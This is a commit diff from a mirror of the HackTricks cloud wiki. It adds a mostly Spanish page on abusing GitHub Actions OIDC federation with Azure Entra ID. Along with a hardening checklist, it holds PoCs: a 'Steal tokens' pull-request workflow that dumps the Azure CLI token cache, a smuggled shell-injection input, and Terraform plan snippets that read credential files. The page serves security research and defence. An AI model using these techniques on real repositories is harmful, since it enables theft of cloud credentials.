mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visión general
|
||||
|
||||
GitHub Actions puede federarse con Azure Entra ID (anteriormente Azure AD) usando OpenID Connect (OIDC). Un workflow de GitHub solicita un GitHub ID token (JWT) de corta duración que codifica detalles sobre la ejecución. Azure valida este token contra un Federated Identity Credential (FIC) en un App Registration (service principal) y lo intercambia por Azure access tokens (MSAL cache, bearer tokens para Azure APIs).
|
||||
|
||||
Azure valida al menos:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (cuando se intercambia por Azure tokens)
|
||||
- sub: debe coincidir con el identificador Subject configurado en el FIC
|
||||
|
||||
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Para forzar la audiencia de Azure en la solicitud de token:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Configuración de Azure (Workload Identity Federation)
|
||||
|
||||
1) Crear App Registration (service principal) y otorgar el principio de menor privilegio (p. ej., Storage Blob Data Contributor en una cuenta de almacenamiento específica).
|
||||
|
||||
2) Agregar credenciales de identidad federada:
|
||||
- Emisor: https://token.actions.githubusercontent.com
|
||||
- Audiencia: api://AzureADTokenExchange
|
||||
- Identificador de sujeto: estrechamente delimitado al contexto del workflow/run previsto (ver Scoping and risks abajo).
|
||||
|
||||
3) Usar azure/login para intercambiar el GitHub ID token e iniciar sesión en el Azure CLI:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Ejemplo de intercambio manual (se muestra el alcance de Graph; ARM u otros recursos de forma similar):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## Anatomía y personalización del subject (sub) de GitHub OIDC
|
||||
|
||||
Formato predeterminado de sub: repo:<org>/<repo>:<context>
|
||||
|
||||
Los valores de context incluyen:
|
||||
- environment:<env>
|
||||
- pull_request (PR se activa cuando no está en un environment)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Claims útiles que suelen estar presentes en el payload:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Personaliza la composición del sub mediante la GitHub API para incluir claims adicionales y reducir el riesgo de colisiones:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Nota: Los dos puntos en los nombres de environment están codificados en URL (%3A), eliminando viejos trucos de delimiter‑injection contra el parsing de sub. Sin embargo, usar subjects no únicos (p.ej., solo environment:<name>) sigue siendo inseguro.
|
||||
|
||||
## Alcance y riesgos de los tipos de subject FIC
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Riesgo: Si la Branch/Tag no está protegida, cualquier contributor puede push y obtener tokens.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Riesgo: Unprotected environments (no reviewers) permiten a contributors mint tokens.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Mayor riesgo: Cualquier collaborator puede abrir un PR y satisfacer el FIC.
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
Ubicaciones de archivos relacionadas y notas:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json almacena tokens MSAL para sesiones de az CLI
|
||||
- Windows: msal_token_cache.bin en el perfil de usuario; protegido por DPAPI
|
||||
|
||||
## Flujos de trabajo reutilizables y alcance de job_workflow_ref
|
||||
|
||||
Invocar un flujo de trabajo reutilizable agrega job_workflow_ref al token de ID de GitHub, por ejemplo:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
Ejemplo FIC para vincular tanto el caller repo como el reusable workflow:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
Configura los claims en el repositorio caller para que tanto repo como job_workflow_ref estén presentes en sub:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Advertencia: Si enlazas solo job_workflow_ref en el FIC, un atacante podría crear un repo distinto en la misma org, ejecutar el mismo reusable workflow en la misma ref, satisfacer el FIC y mint tokens. Siempre incluye también el caller repo.
|
||||
|
||||
## Vectores de ejecución de código que evaden las protecciones de job_workflow_ref
|
||||
|
||||
Incluso con job_workflow_ref correctamente acotado, cualquier dato caller‑controlled que llegue al shell sin comillas seguras puede provocar ejecución de código dentro del contexto del workflow protegido.
|
||||
|
||||
Ejemplo de reusable step vulnerable (interpolación sin comillas):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Entrada maliciosa del llamador para ejecutar comandos y exfiltrar la caché de tokens de Azure:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## Terraform plan como una primitiva de ejecución en PRs
|
||||
|
||||
Trata terraform plan como ejecución de código. Durante el plan, Terraform puede:
|
||||
- Leer archivos arbitrarios mediante funciones como file()
|
||||
- Ejecutar comandos a través del external data source
|
||||
|
||||
Ejemplo para exfiltrate Azure token cache durante plan:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
O usar external para ejecutar comandos arbitrarios:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Conceder FICs utilizables en planes desencadenados por PR expone tokens privilegiados y puede preparar un apply destructivo más adelante. Separe identidades para plan vs apply; nunca permita tokens privilegiados en contextos de PR no confiables.
|
||||
|
||||
## Hardening checklist
|
||||
|
||||
- Nunca use sub=...:pull_request para FICs sensibles
|
||||
- Proteja cualquier rama/etiqueta/entorno referenciado por FICs (branch protection, environment reviewers)
|
||||
- Prefiera FICs con ámbito tanto repo como job_workflow_ref para reusable workflows
|
||||
- Personalice el sub de GitHub OIDC para incluir claims únicos (p. ej., repo, job_workflow_ref, repository_owner)
|
||||
- Elimine la interpolación sin comillas de caller inputs en run steps; codifique/entrecomille de forma segura
|
||||
- Trate terraform plan como ejecución de código; restrinja o aisle identidades en contextos de PR
|
||||
- Implemente el principio de menor privilegio en App Registrations; separe identidades para plan vs apply
|
||||
- Fije actions y reusable workflows a commit SHAs (evite pins por branch/tag)
|
||||
|
||||
## Manual testing tips
|
||||
|
||||
- Solicite un GitHub ID token dentro del workflow e imprímalo en base64 para evitar masking
|
||||
- Decodifique el JWT para inspeccionar claims: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Intercambie manualmente el ID token contra login.microsoftonline.com para confirmar la correspondencia de FIC y los scopes
|
||||
- Después de azure/login, lea ~/.azure/msal_token_cache.json para verificar la presencia del material del token
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user